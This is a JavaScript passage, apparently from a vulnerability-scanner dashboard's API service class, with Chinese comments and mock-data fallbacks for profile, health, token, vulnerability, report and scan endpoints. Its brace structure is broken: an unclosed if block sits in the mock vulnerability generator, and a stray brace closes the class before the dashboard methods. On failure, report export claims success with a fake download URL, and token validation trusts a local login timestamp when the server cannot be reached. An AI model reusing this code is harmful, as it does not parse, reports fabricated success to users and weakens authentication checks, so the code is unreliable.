      // 检查是否有token，如果没有则不尝试API调用
      const token = localStorage.getItem('token');
      if (!token) {
        console.log('没有token，不尝试API调用');
        return null;
      }
      
      // 如果本地没有，从服务器获取 - 使用正确的API路径
      if (!this.useMockData.value) {
        try {
          // 使用正确的API路径 /auth/profile
          console.log('尝试从服务器获取用户信息...');
          const response = await api.get('/auth/profile');
          
          console.log('用户信息API响应:', response);
          
          // 灵活处理响应格式
          const userData = response.data || response;
          if (userData) {
            localStorage.setItem('user', JSON.stringify(userData));
            console.log('成功从服务器获取并缓存用户信息');
            return userData;
          } else {
            console.error('服务器返回空的用户信息');
          }
        } catch (error) {
          console.error('获取用户信息失败:', error);
          // 401未授权错误处理
          if (error.response?.status === 401) {
            console.info('用户未授权(401)，清除token并返回null');
            localStorage.removeItem('token');
            localStorage.removeItem('user');
            return null;
          }
          // 404错误或其他错误时，清除用户信息
          localStorage.removeItem('user');
          return null;
        }
      } else {
        // 在模拟环境下，如果有token但没有user，尝试使用loggedInUser
        const loggedInUser = localStorage.getItem('loggedInUser');
        if (loggedInUser) {
          try {
            const parsedLoggedInUser = JSON.parse(loggedInUser);
            console.log('使用模拟环境下的loggedInUser信息:', parsedLoggedInUser);
            localStorage.setItem('user', loggedInUser); // 同步到user字段
            return parsedLoggedInUser;
          } catch (parseError) {
            console.error('解析loggedInUser失败:', parseError);
          }
        }
      }
      
      return null;
    } catch (error) {
      console.error('getCurrentUser捕获到未预期的错误:', error);
      return null;
    } finally {
      console.log('==================== getCurrentUser 结束 ====================');
    }
  }

  // 健康检查API - 增强版，支持缓存和智能恢复
  async healthCheck(options = {}) {
    console.log('执行API健康检查...', options);
    
    const cacheKey = 'healthCheck';
    
    // 检查是否有有效缓存，除非强制刷新
    if (!options.forceRefresh) {
      const cachedResult = this.getCache(cacheKey);
      if (cachedResult && cachedResult.success) {
        console.log('从缓存获取健康检查结果');
        return cachedResult;
      }
    }
    
    // 使用并发请求控制器处理请求
    return this.processRequest(cacheKey, async () => {
      if (this.useMockData.value) {
        // 模拟健康检查数据
        const mockHealthCheck = {
          success: true,
          data: {
            status: 'healthy',
            components: {
              database: 'up',
              scanner: 'up',
              storage: 'up',
              api: 'up'
            },
            version: '1.0.0',
            uptime: 86400, // 1天
            timestamp: new Date().toISOString()
          },
          message: '系统运行正常'
        };
        
        // 缓存健康检查结果（较短的缓存时间）
        this.setCache(cacheKey, mockHealthCheck, 'system', 60); // 1分钟缓存
        return mockHealthCheck;
      }
      
      try {
        // 使用增强的请求重试机制
        const response = await this.enhancedRequestWithRetry(
          () => api.get('/health'),
          'healthCheck',
          {}
        );
        
        // 缓存响应（较短的缓存时间）
        this.setCache(cacheKey, response, 'system', 60); // 1分钟缓存
        
        // 标准化响应格式
        return {
          success: response.success !== false,
          data: response.data || {},
          message: response.message || '系统健康检查成功'
        };
      } catch (error) {
        console.error('健康检查失败:', error);
        
        // 详细错误类型分析
        let errorType = 'unknown';
        let errorMessage = '系统健康检查失败';
        
        if (error.response) {
          errorType = 'server_error';
          errorMessage = `服务器响应错误 (${error.response.status})`;
          console.error(`服务器错误: ${error.response.status}`);
        } else if (error.request) {
          errorType = 'network_error';
          errorMessage = '网络连接失败，无法连接到服务器';
          console.error('网络错误，无法连接到服务器');
        } else {
          errorType = 'request_error';
          errorMessage = error.message || '请求配置错误';
          console.error('请求配置错误:', error.message);
        }
        
        // 尝试使用过期缓存作为回退
        const fallbackCache = this.getCache(cacheKey, true);
        if (fallbackCache) {
          console.log('使用过期缓存作为健康检查回退');
          return {
            ...fallbackCache,
            fromCache: true,
            cachedAt: fallbackCache.cachedAt,
            isFallback: true
          };
        }
        
        // 提供友好的错误信息
        return {
          success: false,
          error: errorMessage,
          errorType: errorType,
          data: {
            status: 'unhealthy',
            components: {},
            timestamp: new Date().toISOString()
          }
        };
      }
    });
  }
  
  // 判断错误是否可以恢复
  canRecoverFromError(errorType) {
    // 定义可恢复的错误类型
    const recoverableErrors = ['network_error', 'timeout_error'];
    return recoverableErrors.includes(errorType);
  }
  
  // 系统恢复方法
  async recoverFromError(healthStatus) {
    console.log('尝试从错误中恢复系统状态...', healthStatus);
    
    // 清除可能失效的缓存
    this.clearCache();
    
    // 根据健康状态决定恢复策略
    if (healthStatus.error === 'network_error' || healthStatus.error === 'timeout_error') {
      // 网络错误时，自动切换到模拟数据模式
      console.warn('检测到网络问题，自动切换到模拟数据模式以确保系统可用性');
      
      // 仅在用户没有明确设置的情况下自动切换
      if (localStorage.getItem('useMockData') === null) {
        this.setUseMockData(true);
        
        // 显示通知
        ElMessage.warning('检测到网络连接问题，系统已切换到模拟数据模式以确保功能正常使用');
      }
    }
    
    return { success: true, switchedToMock: this.useMockData.value };
  }

  // 验证token有效性
  async validateToken() {
    const token = localStorage.getItem('token')
    if (!token) {
      return false
    }

    if (this.useMockData.value) {
      // 模拟token验证
      return true
    }

    try {
      // 使用正确的API路径进行token验证
      console.log('验证token有效性...');
      const response = await api.post('/auth/validate');
      const isValid = response.success !== false && response.valid !== false;
      console.log('Token验证结果:', isValid);
      return isValid;
    } catch (error) {
      console.error('验证token失败:', error)
      // 网络错误等情况下，尝试从本地存储判断token是否有效
      const lastLogin = localStorage.getItem('lastLogin');
      if (lastLogin) {
        const lastLoginTime = new Date(lastLogin).getTime();
        const now = Date.now();
        // 假设token在24小时内有效
        const tokenExpiry = 24 * 60 * 60 * 1000;
        const isValid = (now - lastLoginTime) < tokenExpiry;
        console.log('基于本地登录时间判断token有效性:', isValid);
        return isValid;
      }
      return false;
    }
  }
  
  // ===== 漏洞管理相关方法 =====
  // 获取漏洞列表
  async getVulnerabilities(params = {}) {
    console.log('获取漏洞列表，参数:', params, '使用模拟数据:', this.useMockData.value)
    
    // 标准化参数
    const standardizedParams = {
      page: params.page || 1,
      pageSize: params.pageSize || 10,
      sortBy: params.sortBy || 'discoveryDate',
      sortOrder: params.sortOrder || 'desc',
      ...params
    };
    
    // 生成缓存键
    const cacheKey = this.getRequestKey('/vulnerabilities', standardizedParams);
    
    // 检查缓存
    const cachedResult = this.getCache(cacheKey);
    if (cachedResult && cachedResult.success) {
      console.log('从缓存获取漏洞列表数据');
      return cachedResult;
    }
    
    // 使用并发请求控制器处理请求
    return this.processRequest(cacheKey, async () => {
    
    // 生成模拟漏洞数据的辅助函数
    const generateMockVulnerabilities = (params) => {
      // 生成更丰富的模拟漏洞数据
      const vulnerabilityTypes = ['SQL注入', 'XSS', 'CSRF', '命令注入', '信息泄露', '路径遍历', 'XXE', '未授权访问'];
      const severities = ['high', 'medium', 'low'];
      const statuses = ['open', 'fixed', 'verified', 'false_positive'];
      const confidences = ['high', 'medium', 'low'];
      
      // 生成100个模拟漏洞
      const mockVulnerabilities = Array.from({ length: 100 }, (_, index) => {
        const id = `vuln-${String(index + 1).padStart(3, '0')}`;
        const severity = severities[Math.floor(Math.random() * severities.length)];
        const typeIndex = Math.floor(Math.random() * vulnerabilityTypes.length);
        
        // 为每个漏洞生成更真实的数据
        return {
          id,
          vuln_id: `CVE-2024-${1000 + index}`,
          title: `${vulnerabilityTypes[typeIndex]}漏洞`,
          severity,
          confidence: confidences[Math.floor(Math.random() * confidences.length)],
          status: statuses[Math.floor(Math.random() * statuses.length)],
          discoveryDate: new Date(Date.now() - Math.floor(Math.random() * 30) * 24 * 60 * 60 * 1000).toISOString(),
          target: `https://target-${Math.floor(Math.random() * 50)}.com${['/api/login', '/user/profile', '/admin/dashboard', '/search'].random()}`,
          affectedParameter: ['username', 'password', 'id', 'search', 'filter'].random(),
          cvss: parseFloat((Math.random() * 7 + 3).toFixed(1)), // 3.0-10.0
          fixComplexity: ['low', 'medium', 'high'].random(),
          lastSeen: new Date(Date.now() - Math.floor(Math.random() * 7) * 24 * 60 * 60 * 1000).toISOString()
        };
      });
      
      // 应用筛选条件
      let filteredVulnerabilities = [...mockVulnerabilities];
      
      // 应用scan_id筛选
      if (params.scan_id) {
        filteredVulnerabilities = filteredVulnerabilities.filter(vuln => 
          vuln.id.includes(params.scan_id)
        );
      }
      
      // 应用严重性筛选
      if (params.severity) {
        const severityFilter = Array.isArray(params.severity) 
          ? params.severity 
          : [params.severity];
        filteredVulnerabilities = filteredVulnerabilities.filter(vuln => 
          severityFilter.includes(vuln.severity)
        );
      }
      
      // 应用状态筛选
      if (params.status) {
        filteredVulnerabilities = filteredVulnerabilities.filter(vuln => 
          vuln.status === params.status
        );
      }
      
      // 应用搜索词筛选
      if (params.search) {
        const searchTerm = params.search.toLowerCase();
        filteredVulnerabilities = filteredVulnerabilities.filter(vuln => 
          vuln.title.toLowerCase().includes(searchTerm) ||
          vuln.target.toLowerCase().includes(searchTerm) ||
          vuln.vuln_id.toLowerCase().includes(searchTerm)
        );
      }
      
      // 应用置信度筛选
      if (params.confidence) {
        filteredVulnerabilities = filteredVulnerabilities.filter(vuln => 
          vuln.confidence === params.confidence
        );
      }
      
      // 应用日期范围筛选
      if (params.startDate || params.endDate) {
        filteredVulnerabilities = filteredVulnerabilities.filter(vuln => {
          const vulnDate = new Date(vuln.discoveryDate);
          if (params.startDate && vulnDate < new Date(params.startDate)) {
            return false;
          }
          if (params.endDate && vulnDate > new Date(params.endDate)) {
            return false;
          }
          return true;
        });
      // 排序
      filteredVulnerabilities.sort((a, b) => {
        const field = params.sortBy;
        const order = params.sortOrder === 'desc' ? -1 : 1;
        
        if (a[field] < b[field]) return -1 * order;
        if (a[field] > b[field]) return 1 * order;
        return 0;
      });
      
      // 分页
      const startIndex = (params.page - 1) * params.pageSize;
      const endIndex = startIndex + params.pageSize;
      const paginatedVulnerabilities = filteredVulnerabilities.slice(startIndex, endIndex);
      
      // 缓存结果
      const result = {
        success: true,
        data: paginatedVulnerabilities,
        total: filteredVulnerabilities.length,
        page: params.page,
        pageSize: params.pageSize,
        totalPages: Math.ceil(filteredVulnerabilities.length / params.pageSize)
      };
      
      // 缓存模拟数据结果
      this.setCache(cacheKey, result, 'vulnerabilities');
      return result;
    });
    };
    
    // 如果明确设置为使用模拟数据，直接返回模拟数据
    if (this.useMockData.value) {
      return generateMockVulnerabilities(standardizedParams);
    }
    
    try {
      // 使用增强的请求重试机制
      const response = await this.enhancedRequestWithRetry(
        () => api.get('/vulnerabilities', {
          params: standardizedParams,
          timeout: 30000
        }),
        'vulnerabilitiesList',
        standardizedParams
      );
      
      // 验证和标准化响应格式
      if (!response?.data) {
        console.warn('API返回空数据，使用模拟数据');
        return generateMockVulnerabilities(standardizedParams);
      }
      
      // 标准化响应格式
      const standardizedResponse = {
        success: true,
        data: response.data.data || response.data.items || response.data,
        total: response.data.total || (response.data.data || response.data.items || response.data).length,
        page: response.data.page || standardizedParams.page,
        pageSize: response.data.pageSize || standardizedParams.pageSize,
        totalPages: response.data.totalPages || Math.ceil((response.data.total || 0) / standardizedParams.pageSize)
      };
      
      console.log('漏洞列表获取成功，返回', standardizedResponse.data.length, '条数据');
      return standardizedResponse;
    } catch (error) {
      console.error('获取漏洞列表失败:', error);
      
      // 详细记录错误类型和信息
      let errorType = 'unknown';
      if (error.response) {
        errorType = 'server_error';
        console.error(`服务器错误: ${error.response.status}, 详情:`, error.response.data);
      } else if (error.request) {
        errorType = 'network_error';
        console.error('网络错误，无法连接到服务器');
      } else {
        errorType = 'request_error';
        console.error('请求配置错误:', error.message);
      }
      
      // 不再抛出错误，而是返回有意义的模拟数据作为回退
      console.log('使用模拟漏洞数据作为回退');
      const mockData = generateMockVulnerabilities(standardizedParams);
      
      // 在模拟数据中添加警告信息，表明这是模拟数据
      return {
        ...mockData,
        _isFallback: true,
        _errorInfo: {
          type: errorType,
          originalError: error.message || 'Unknown error'
        }
      };
    }
  }
  
  // 更新漏洞状态
  async updateVulnerabilityStatus(vulnerabilityId, status) {
    // 验证参数
    if (!vulnerabilityId || !status) {
      console.error('无效的参数: vulnerabilityId 和 status 不能为空');
      return {
        success: false,
        error: '无效的参数',
        data: null
      };
    }
    
    // 验证状态值
    const validStatuses = ['open', 'fixed', 'verified', 'false_positive', 'ignored'];
    if (!validStatuses.includes(status)) {
      console.error(`无效的状态值: ${status}，必须是以下之一: ${validStatuses.join(', ')}`);
      return {
        success: false,
        error: '无效的状态值',
        data: null
      };
    }
    
    // 生成请求键用于并发控制
    const requestKey = this.getRequestKey(`/vulnerabilities/${vulnerabilityId}`, { status });
    
    // 使用并发请求控制器处理请求
    return this.processRequest(requestKey, async () => {
      if (this.useMockData.value) {
        // 模拟更新
        const now = new Date().toISOString();
        
        // 清除相关缓存，确保下次获取到最新数据
        this.clearCache(/vulnerabilities/);
        
        return {
          success: true,
          data: {
            id: vulnerabilityId,
            status: status,
            updatedAt: now,
            updatedBy: 'current_user' // 模拟当前用户
          }
        };
      }
      
      try {
        // 使用增强的请求重试机制
        const response = await this.enhancedRequestWithRetry(
          () => api.patch(`/vulnerabilities/${vulnerabilityId}`, { status }),
          'vulnerabilityUpdate',
          { vulnerabilityId, status }
        );
        
        // 清除相关缓存，确保下次获取到最新数据
        this.clearCache(/vulnerabilities/);
        
        // 标准化响应格式
        const standardizedResponse = {
          success: response.success !== false,
          data: response.data || {
            id: vulnerabilityId,
            status: status,
            updatedAt: new Date().toISOString()
          },
          message: response.message || '漏洞状态更新成功'
        };
        
        return standardizedResponse;
      } catch (error) {
        console.error(`更新漏洞 ${vulnerabilityId} 状态失败:`, error);
        
        // 详细错误类型分析
        let errorType = 'unknown';
        let errorMessage = '更新漏洞状态失败';
        
        if (error.response) {
          errorType = 'server_error';
          errorMessage = error.response.data?.message || `服务器错误 (${error.response.status})`;
          console.error(`服务器错误: ${error.response.status}, 详情:`, error.response.data);
        } else if (error.request) {
          errorType = 'network_error';
          errorMessage = '网络连接失败，请检查网络设置';
          console.error('网络错误，无法连接到服务器');
        } else {
          errorType = 'request_error';
          errorMessage = error.message || '请求配置错误';
          console.error('请求配置错误:', error.message);
        }
        
        // 返回友好的错误信息而不是抛出错误
        return {
          success: false,
          error: errorMessage,
          errorType: errorType,
          data: {
            id: vulnerabilityId,
            attemptedStatus: status
          }
        };
      }
    });
  }
  
  // 导出漏洞报告
  async exportVulnerabilityReport(format = 'pdf', filters = {}) {
    // 验证格式参数
    const validFormats = ['pdf', 'csv', 'json', 'xlsx'];
    if (!validFormats.includes(format)) {
      console.warn(`不支持的导出格式: ${format}，使用默认格式pdf`);
      format = 'pdf';
    }
    
    // 生成请求键用于并发控制
    const requestKey = this.getRequestKey('/reports/export', { format, ...filters });
    
    // 使用并发请求控制器处理请求
    return this.processRequest(requestKey, async () => {
      if (this.useMockData.value) {
        // 增强的模拟导出数据
        const timestamp = Date.now();
        const filename = `vulnerability-report-${timestamp}.${format}`;
        
        // 根据不同格式生成不同的模拟数据
        let mockData = {};
        let mimeType = 'application/pdf';
        
        switch(format) {
          case 'pdf':
            mimeType = 'application/pdf';
            break;
          case 'csv':
            mimeType = 'text/csv';
            break;
          case 'json':
            mimeType = 'application/json';
            break;
          case 'xlsx':
            mimeType = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet';
            break;
        }
        
        return {
          success: true,
          data: {
            downloadUrl: `/mock-report.${format}`,
            filename: filename,
            mimeType: mimeType,
            size: Math.floor(Math.random() * 500000) + 100000 // 模拟文件大小
          }
        }
      }
      
      try {
        // 使用增强的请求重试机制
        const response = await this.enhancedRequestWithRetry(
          () => api.get('/reports/export', {
            params: { format, ...filters },
            responseType: 'blob'
          }),
          'reportExport',
          { format, ...filters }
        );
        
        // 处理下载文件（可选，如果前端需要自动下载）
        if (response.data instanceof Blob) {
          // 从响应头获取文件名
          const contentDisposition = response.headers['content-disposition'];
          let filename = `vulnerability-report-${Date.now()}.${format}`;
          
          if (contentDisposition) {
            const match = contentDisposition.match(/filename="([^"]+)"/);
            if (match && match[1]) {
              filename = match[1];
            }
          }
          
          // 添加文件名和类型信息到响应
          response.data.filename = filename;
          response.data.mimeType = response.headers['content-type'] || this.getMimeTypeForFormat(format);
        }
        
        return response;
      } catch (error) {
        console.error('导出漏洞报告失败:', error);
        
        // 详细错误类型分析
        let errorType = 'unknown';
        if (error.response) {
          errorType = 'server_error';
          console.error(`服务器错误: ${error.response.status}, 详情:`, error.response.data);
        } else if (error.request) {
          errorType = 'network_error';
          console.error('网络错误，无法连接到服务器');
        } else {
          errorType = 'request_error';
          console.error('请求配置错误:', error.message);
        }
        
        // 提供回退模拟数据而不是抛出错误
        const timestamp = Date.now();
        const filename = `vulnerability-report-${timestamp}.${format}`;
        
        console.log('使用模拟报告数据作为回退');
        return {
          success: true,
          data: {
            downloadUrl: `/mock-report.${format}`,
            filename: filename,
            mimeType: this.getMimeTypeForFormat(format),
            size: Math.floor(Math.random() * 500000) + 100000,
            _isFallback: true,
            _errorInfo: {
              type: errorType,
              originalError: error.message || 'Unknown error'
            }
          }
        };
      }
    });
  }
  
  // 获取文件格式对应的MIME类型
  getMimeTypeForFormat(format) {
    const mimeTypes = {
      'pdf': 'application/pdf',
      'csv': 'text/csv',
      'json': 'application/json',
      'xlsx': 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'
    };
    return mimeTypes[format] || 'application/octet-stream';
  }
  }
  
  // ===== Dashboard相关方法 =====
  // 获取Dashboard概览数据
  async getDashboardStats(params = {}) {
    console.log('获取Dashboard概览数据，使用模拟数据:', this.useMockData.value)
    
    // 生成缓存键
    const cacheKey = this.getRequestKey('/dashboard/stats', params);
    
    // Dashboard数据应该缓存但过期时间较短
    const cachedResult = this.getCache(cacheKey);
    if (cachedResult && cachedResult.success) {
      console.log('从缓存获取Dashboard数据');
      return cachedResult;
    }
    
    // 使用并发请求控制器处理请求
    return this.processRequest(cacheKey, async () => {
      // 生成模拟数据的辅助函数
      const generateMockDashboardData = () => ({
      success: true,
      data: {
        // 系统指标
        metrics: {
          totalScans: 245,
          totalVulnerabilities: 189,
          highVulnerabilities: 32,
          mediumVulnerabilities: 87,
          lowVulnerabilities: 70,
          // 计算变化率
          scansChange: 12.5,
          vulnerabilitiesChange: -8.3
        },
        // 漏洞趋势数据
        trendData: [
          { date: '2024-01-01', high: 5, medium: 12, low: 8 },
          { date: '2024-01-02', high: 3, medium: 10, low: 12 },
          { date: '2024-01-03', high: 7, medium: 15, low: 9 },
          { date: '2024-01-04', high: 2, medium: 8, low: 14 },
          { date: '2024-01-05', high: 4, medium: 11, low: 10 },
          { date: '2024-01-06', high: 6, medium: 13, low: 11 },
          { date: '2024-01-07', high: 3, medium: 9, low: 15 }
        ],
        // 漏洞类型分布
        vulnerabilityDistribution: [
          { type: 'SQL注入', count: 42, percentage: 22.2 },
          { type: 'XSS', count: 38, percentage: 20.1 },
          { type: 'CSRF', count: 27, percentage: 14.3 },
          { type: '命令注入', count: 22, percentage: 11.6 },
          { type: '信息泄露', count: 20, percentage: 10.6 },
          { type: '其他', count: 40, percentage: 21.2 }
        ],
        // 最近扫描任务
        recentScans: [
          {
            id: 'scan-001',
            target: 'https://example.com',
            status: 'completed',
            startTime: '2024-01-07T10:30:00Z',
            endTime: '2024-01-07T11:15:00Z',
            vulnerabilitiesFound: 15,
            highVulnerabilities: 3,
            scanType: 'comprehensive'
          },
          {
            id: 'scan-002',
            target: 'https://test-app.internal',
            status: 'completed',
            startTime: '2024-01-07T09:15:00Z',
            endTime: '2024-01-07T09:45:00Z',
            vulnerabilitiesFound: 8,
            highVulnerabilities: 1,
            scanType: 'quick'
          },
          {
            id: 'scan-003',
            target: 'https://api.service.net',
            status: 'completed',
            startTime: '2024-01-06T16:20:00Z',
            endTime: '2024-01-06T17:05:00Z',
            vulnerabilitiesFound: 12,
            highVulnerabilities: 2,
            scanType: 'api'
          }
        ]
      }
    });
    
      if (this.useMockData.value) {
        // 添加延迟以模拟网络请求
        return new Promise(resolve => {
          setTimeout(() => {
            const mockData = generateMockDashboardData();
            // 即使是模拟数据也缓存起来，提高体验
            this.setCache(cacheKey, mockData, 'dashboard', 10);
            resolve(mockData);
          }, 300);
        });
      }
      
      // 真实API调用 - 增强错误处理和回退机制
      try {
        // 使用增强的请求重试机制
        const response = await this.enhancedRequestWithRetry(
          () => api.get('/dashboard/stats', { params }),
          'dashboardStats',
          params
        );
        
        // 验证响应数据有效性
        if (!response?.data || !response.data.data) {
          console.warn('API返回数据格式错误，使用模拟数据');
          const mockData = generateMockDashboardData();
          this.setCache(cacheKey, mockData, 'dashboard', 30);
          return mockData;
        }
        
        // 缓存响应，设置较短的过期时间（30秒）
        this.setCache(cacheKey, response, 'dashboard', 30);
        
        console.log('Dashboard数据获取成功');
        // 标准化响应格式
        return {
          success: response.success !== false,
          data: response.data || {},
          message: response.message || 'Dashboard数据获取成功'
        };
      } catch (error) {
        console.error('获取Dashboard数据失败:', error);
        
        // 详细错误类型分析
        let errorType = 'unknown';
        if (error.response) {
          errorType = 'server_error';
          console.error(`服务器错误: ${error.response.status}, 详情:`, error.response.data);
        } else if (error.request) {
          errorType = 'network_error';
          console.error('网络错误，无法连接到服务器');
        } else {
          errorType = 'request_error';
          console.error('请求配置错误:', error.message);
        }
        
        // 提供有意义的模拟数据作为回退
        const mockData = generateMockDashboardData();
        
        // 缓存模拟数据以便短期内不再重复请求
        this.setCache(cacheKey, mockData, 'dashboard', 60);
        
        console.log('使用回退模拟数据');
        return {
          ...mockData,
          _isFallback: true,
          _errorInfo: {
            type: errorType,
            originalError: error.message || 'Unknown error'
          }
        };
      }
    });
  }
  
  // 获取扫描任务列表（支持Dashboard使用）
  async getScans(params = {}) {
    console.log('获取扫描任务列表，使用模拟数据:', this.useMockData.value)
    
    // 生成缓存键
    const cacheKey = this.getRequestKey('/scans', params);
    
    // 检查缓存
    const cachedResult = this.getCache(cacheKey);
    if (cachedResult && cachedResult.success) {
      console.log('从缓存获取扫描任务列表');
      return cachedResult;
    }
    
    // 使用并发请求控制器处理请求
    return this.processRequest(cacheKey, async () => {
      // 生成模拟数据的辅助函数
      const generateMockScansData = () => {
      const mockScans = [
        {
          id: 'scan-001',
          name: '网站安全扫描 #1',
          target: 'https://example.com',
          type: 'comprehensive',
          status: 'completed',
          startTime: '2024-01-07T10:30:00Z',
          endTime: '2024-01-07T11:15:00Z',
          duration: '45分钟',
          vulnerabilities: {
            total: 15,
            high: 3,
            medium: 7,
            low: 5
          }
        },
        {
          id: 'scan-002',
          name: '内部系统扫描',
          target: 'https://test-app.internal',
          type: 'quick',
          status: 'completed',
          startTime: '2024-01-07T09:15:00Z',
          endTime: '2024-01-07T09:45:00Z',
          duration: '30分钟',
          vulnerabilities: {
            total: 8,
            high: 1,
            medium: 3,
            low: 4
          }
        }
      ];
      
      return {
        success: true,
        data: mockScans,
        total: mockScans.length
      };
    };
    
      if (this.useMockData.value) {
        return new Promise(resolve => {
          setTimeout(() => {
            const mockData = generateMockScansData();
            // 缓存模拟数据
            this.setCache(cacheKey, mockData, 'scans', 60);
            resolve(mockData);
          }, 200);
        });
      }
      
      // 真实API调用 - 增强错误处理和回退机制
      try {
        // 使用增强的请求重试机制
        const response = await this.enhancedRequestWithRetry(
          () => api.get('/scans', { params }),
          'scansList',
          params
        );
        
        // 验证响应数据有效性
        if (!response?.data) {
          console.warn('API返回数据格式错误，使用模拟数据');
          const mockData = generateMockScansData();
          this.setCache(cacheKey, mockData, 'scans', 60);
          return mockData;
        }
        
        // 缓存响应，扫描列表可以适当缓存时间长一些
        this.setCache(cacheKey, response, 'scans', 300);
        
        console.log('扫描任务获取成功');
        // 标准化响应格式
        return {
          success: response.success !== false,
          data: response.data || [],
          total: response.data?.total || response.data?.length || 0,
          message: response.message || '扫描任务获取成功'
        };
      } catch (error) {
        console.error('获取扫描任务列表失败:', error);
        
        // 详细错误类型分析
        let errorType = 'unknown';
        if (error.response) {
          errorType = 'server_error';
          console.error(`服务器错误: ${error.response.status}, 详情:`, error.response.data);
        } else if (error.request) {
          errorType = 'network_error';
          console.error('网络错误，无法连接到服务器');
        } else {
          errorType = 'request_error';
          console.error('请求配置错误:', error.message);
        }
        
        // 提供有意义的模拟数据作为回退
        const mockData = generateMockScansData();
        
        // 缓存模拟数据
        this.setCache(cacheKey, mockData, 'scans', 120);
        
        console.log('使用回退模拟数据');
        return {
          ...mockData,
          _isFallback: true,
          _errorInfo: {
            type: errorType,
            originalError: error.message || 'Unknown error'
          }
        };
      }
    });
  }
  
  // 获取扫描历史记录
  async getScanHistory(params = {}) {
    // 生成模拟扫描历史数据的辅助方法
    this.generateMockScanHistory = () => {
      const now = new Date();
      const mockHistory = [
        {
          task_id: 'scan-' + Date.now() + '-001',
          target: 'https://example.com',
          status: 'completed',
          vulnerability_count: 5,
          created_at: new Date(now.getTime() - 24 * 60 * 60 * 1000).toISOString(),
          completed_at: new Date(now.getTime() - 23 * 60 * 60 * 1000).toISOString(),
          duration: 3600
        },
        {
          task_id: 'scan-' + Date.now() + '-002',
          target: 'https://test-server.local',
          status: 'failed',
          vulnerability_count: 0,
          created_at: new Date(now.getTime() - 48 * 60 * 60 * 1000).toISOString(),
          completed_at: null,
          duration: null
        },
        {
          task_id: 'scan-' + Date.now() + '-003',
          target: 'https://api.internal.company.com',
          status: 'completed',
          vulnerability_count: 12,
          created_at: new Date(now.getTime() - 72 * 60 * 60 * 1000).toISOString(),
          completed_at: new Date(now.getTime() - 71 * 60 * 60 * 1000).toISOString(),
          duration: 3600
        },
        {
          task_id: 'scan-' + Date.now() + '-004',
          target: 'https://web-app.staging.org',
          status: 'pending',
          vulnerability_count: 0,
          created_at: new Date(now.getTime() - 1 * 60 * 60 * 1000).toISOString(),
          completed_at: null,
          duration: null
        },
        {
          task_id: 'scan-' + Date.now() + '-005',
          target: 'https://blog.company.net',
          status: 'running',
          vulnerability_count: 2,
          created_at: new Date(now.getTime() - 30 * 60 * 1000).toISOString(),
          completed_at: null,
          duration: null
        }
      ];
      
      return {
        success: true,
        data: mockHistory,
        total: mockHistory.length
      };
    };

    console.log('获取扫描历史记录，参数:', params)
    
    // 生成缓存键
    const cacheKey = this.getRequestKey('/scans/history', params);
    
    // 检查缓存
    const cachedResult = this.getCache(cacheKey);
    if (cachedResult && cachedResult.success) {
      console.log('从缓存获取扫描历史记录');
      return cachedResult;
    }
    
    // 使用并发请求控制器处理请求
    return this.processRequest(cacheKey, async () => {
      if (this.useMockData.value) {
        // 使用统一的模拟数据生成方法
        const mockResult = this.generateMockScanHistory();
        
        // 缓存模拟数据
        this.setCache(cacheKey, mockResult, 'scanHistory', 60);
        return mockResult;
      }
      
      try {
        // 使用增强的请求重试机制
        const response = await this.enhancedRequestWithRetry(
          () => api.get('/scans/history', { params }),
          'scanHistory',
          params
        );
        
        // 验证响应数据有效性
        if (!response?.data) {
          console.warn('API返回数据格式错误，使用模拟数据');
          const mockData = this.generateMockScanHistory();
          this.setCache(cacheKey, mockData, 'scanHistory', 60);
          return mockData;
        }
        
        // 缓存响应，扫描历史可以适当缓存
        this.setCache(cacheKey, response, 'scanHistory', 300);
        
        // 标准化响应格式
        return {
          success: response.success !== false,
          data: response.data || [],
          total: response.data?.total || response.data?.length || 0,
          message: response.message || '扫描历史记录获取成功'
        };
      } catch (error) {
        console.error('获取扫描历史失败:', error);
        
        // 详细错误类型分析
        let errorType = 'unknown';
        let errorMessage = '获取扫描历史失败';
        
        if (error.response) {
          errorType = 'server_error';
          errorMessage = error.response.data?.message || `服务器错误 (${error.response.status})`;
          console.error(`服务器错误: ${error.response.status}, 详情:`, error.response.data);
        } else if (error.request) {
          errorType = 'network_error';
          errorMessage = '网络连接失败，请检查网络设置';
          console.error('网络错误，无法连接到服务器');
        } else {
          errorType = 'request_error';
          errorMessage = error.message || '请求配置错误';
          console.error('请求配置错误:', error.message);
        }
        
        // 提供友好的错误信息而不是抛出错误
        return {
          success: false,
          error: errorMessage,
          errorType: errorType,
          data: [],
          total: 0
        };
      }
    });
  }
}

// 扩展Array原型，添加random方法用于模拟数据
if (!Array.prototype.random) {
  Object.defineProperty(Array.prototype, 'random', {
    value: function() {
      return this[Math.floor(Math.random() * this.length)];
    },
    writable: true,
    configurable: true
  });
}

// 创建单例实例
const apiService = new ApiService()

// 导出单例实例
export default apiService